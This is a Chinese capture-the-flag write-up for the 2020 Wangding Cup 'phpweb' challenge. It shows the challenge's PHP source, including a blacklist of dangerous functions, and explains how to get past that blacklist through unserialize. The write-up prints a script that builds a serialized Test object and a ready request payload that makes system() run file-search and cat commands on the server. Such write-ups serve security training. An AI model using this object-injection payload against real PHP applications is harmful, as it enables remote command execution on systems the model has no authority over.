[网鼎杯 2020 朱雀组]phpweb

[网鼎杯 2020 朱雀组]phpweb

bp抓包，发现会定期发送一个带有时间戳的包

.

尝试更改func和p的键值，当func=file_get_contents&p=index.php会出现正确的回显，有源码。

把源码赋值出审计

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

其中过滤了很多函数，但是反序列化并没有被过滤。

call_user_func(函数, 参数)，返回值为函数执行参数后的结果

大致就是func接收传递的函数，p接收func函数需要的参数

所以用反序列化绕过函数的过滤，然后执行系统命令即可。

反序列化可以用给的Test类直接本地测试

<?php 
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "cat $(find / -name flag)";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a = new Test();

echo serialize($a);
 ?>

 

查找flag      find / -name flag*

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

 

找到文件位置，用readfile函数直接读，或者再次构造反序列化也可以